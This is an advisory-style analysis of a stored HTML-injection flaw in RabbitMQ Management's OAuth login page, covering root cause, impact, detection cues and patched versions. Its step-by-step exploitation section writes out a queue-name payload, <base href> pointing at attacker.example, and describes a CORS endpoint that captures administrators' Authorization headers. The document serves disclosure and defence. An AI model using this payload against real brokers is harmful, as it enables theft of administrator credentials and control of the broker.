CVE-2026-67421: 
RabbitMQ vulnerability analysis and mitigation

CVE-2026-67421 is a stored HTML injection vulnerability in RabbitMQ Management's OAuth error handling, enabling credential theft of management administrator tokens. Affecting RabbitMQ versions 3.13.0–3.13.18, 4.0.0–4.0.23, 4.1.0–4.1.14, 4.2.0–4.2.9, and 4.3.0–4.3.4, the flaw was published on August 18, 2026, and patched in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5. It carries a CVSS v3.1 base score of 6.8 (Medium) and a CVSS v4.0 base score of 4.5 (Medium) (GitHub Advisory).

The root cause is improper neutralization of input during web page generation (CWE-79 / stored HTML injection), compounded by a missing Content Security Policy base-uri directive (CWE-862). When the OAuth management UI is enabled, AMQP authorization-error reasons — which include the queue name verbatim — are forwarded to the login_oauth.ejs template and rendered via jQuery .html() without HTML escaping (<%=warnings[i]%> instead of <%=fmt_escape_html(warnings[i])%>). An attacker crafts a queue name containing <base href="http://attacker.example/"><b class="updatable">, which, when injected into the DOM, retargets all subsequent relative API refresh requests (sent every five seconds by default) to the attacker's origin. Because the CSP lacks base-uri and connect-src directives, the browser sends the victim administrator's Authorization header to the attacker's CORS-permissive endpoint. The full exploit chain and source evidence are documented in the official advisory (GitHub Advisory, Patch Commit).

Successful exploitation results in theft of a management administrator's Basic or Bearer Authorization credential, granting the attacker full control of the RabbitMQ management API under that account's authority. This enables confidentiality loss (access to queues, exchanges, definitions, users, and broker metadata), integrity loss (message injection, configuration changes, permission changes, and resource modification), and availability loss (deletion of queues, exchanges, vhosts, users, or policies). The advisory notes that no management API route directly executes OS commands or reads arbitrary broker-host files, so host-level RCE is not part of this finding (GitHub Advisory).

A proof-of-concept exploit sequence with concrete payloads is publicly documented in the official GitHub Security Advisory, rated high confidence by Feedly's exploit analysis. Exploitation is not automated — it requires an attacker with queue configure permission, a victim administrator who views the queue and clicks "Get Message(s)", and an attacker-controlled CORS endpoint. The OAuth management UI must be explicitly enabled (disabled by default), making stock deployments non-immediately exploitable. The EPSS score is approximately 0.003 (0.3%), and there is no evidence of in-the-wild exploitation or CISA KEV listing as of the report date (GitHub Advisory).

1. Reconnaissance: Identify RabbitMQ deployments with the management plugin and OAuth UI enabled (non-default configuration). Confirm the target version falls within 3.13.0–3.13.18, 4.0.0–4.0.23, 4.1.0–4.1.14, 4.2.0–4.2.9, or 4.3.0–4.3.4.
2. Authenticate as low-privilege user: Obtain valid RabbitMQ credentials with configure permission on at least one vhost (no administrator tag required).
3. Declare malicious queue: Using the AMQP protocol or management API, declare a queue with the payload name: <base href="http://attacker.example/"><b class="updatable">. This embeds an HTML <base> element that will change document.baseURI when rendered.
4. Set up attacker CORS endpoint: Operate an HTTP server at attacker.example that responds to CORS preflight requests with permissive headers allowing the RabbitMQ management origin (e.g., Access-Control-Allow-Origin: https://rabbitmq.target, Access-Control-Allow-Headers: Authorization).
5. Social engineer the administrator: Induce a management administrator (who can view but lacks AMQP read permission for the queue) to navigate to the queue's page in the management UI and click Get Message(s).
6. Trigger HTML injection: RabbitMQ denies the basic.get with ACCESS_REFUSED, returning a 401 JSON response whose reason field contains the queue name. The OAuth error path renders this via login_oauth.ejs and jQuery .html() without escaping, injecting the <base> element into the DOM.
7. Base URL retargeting: The injected <base href> changes document.baseURI to http://attacker.example/. The updatable class marker preserves the condition for the automatic five-second partial refresh.
8. Credential exfiltration: The management UI's refresh timer fires, resolving the relative API URL ('api' + path) against the attacker's origin. The browser performs a CORS preflight and sends the full request — including the administrator's Authorization header (Basic or Bearer) — to the attacker's endpoint.
9. Reuse stolen credential: The attacker uses the captured Authorization header to authenticate to the RabbitMQ management API as the administrator, gaining ability to create users, modify permissions, alter policies, and delete broker resources (GitHub Advisory).

• Network: Outbound HTTP requests from the victim's browser to an unexpected external origin (non-RabbitMQ host) containing Authorization headers and paths matching /api/...; CORS preflight (OPTIONS) requests from the management UI origin to external hosts.
• Logs: RabbitMQ management access logs showing GET /api/queues/<vhost>/<queue> or POST /api/queues/<vhost>/<queue>/get requests returning 401 responses with reasons containing HTML metacharacters (<, >, ") or tag names such as base, b, img, or script.
• Queue Names: Presence of queues with names containing HTML elements, particularly <base href=, <script, <img, or other HTML tags — detectable via GET /api/queues management API enumeration.
• Browser/Proxy: Unexpected cross-origin XHR or fetch requests from the management UI page to non-RabbitMQ hosts, visible in browser developer tools or HTTP proxy logs.
• File System / Config: Review of RabbitMQ management CSP configuration (management.csp.policy) lacking base-uri and connect-src directives, indicating unpatched or misconfigured deployments (GitHub Advisory).

Upgrade RabbitMQ to the patched versions: 3.13.19, 4.0.24, 4.1.15, 4.2.10, or 4.3.5, which apply HTML escaping at the template sink (<%=fmt_escape_html(warnings[i])%>) (Patch Commit, v4.3.5 Release). As an immediate workaround before patching, add base-uri 'none' to the management CSP policy: management.csp.policy = script-src 'self'; object-src 'self'; base-uri 'none'. Additionally, disable the OAuth management UI if not required, restrict queue configure permissions to trusted users only, and avoid using highly privileged management sessions for routine queue inspection (GitHub Advisory).

The vulnerability was disclosed by RabbitMQ maintainer michaelklishin via a GitHub Security Advisory on August 18, 2026, with patches released simultaneously. The advisory includes unusually detailed technical analysis — covering source file references, CVSS rationale, and a full exploit sequence — reflecting a high-quality coordinated disclosure. No significant independent researcher commentary or broad media coverage has been identified beyond standard CVE aggregator coverage (GitHub Advisory).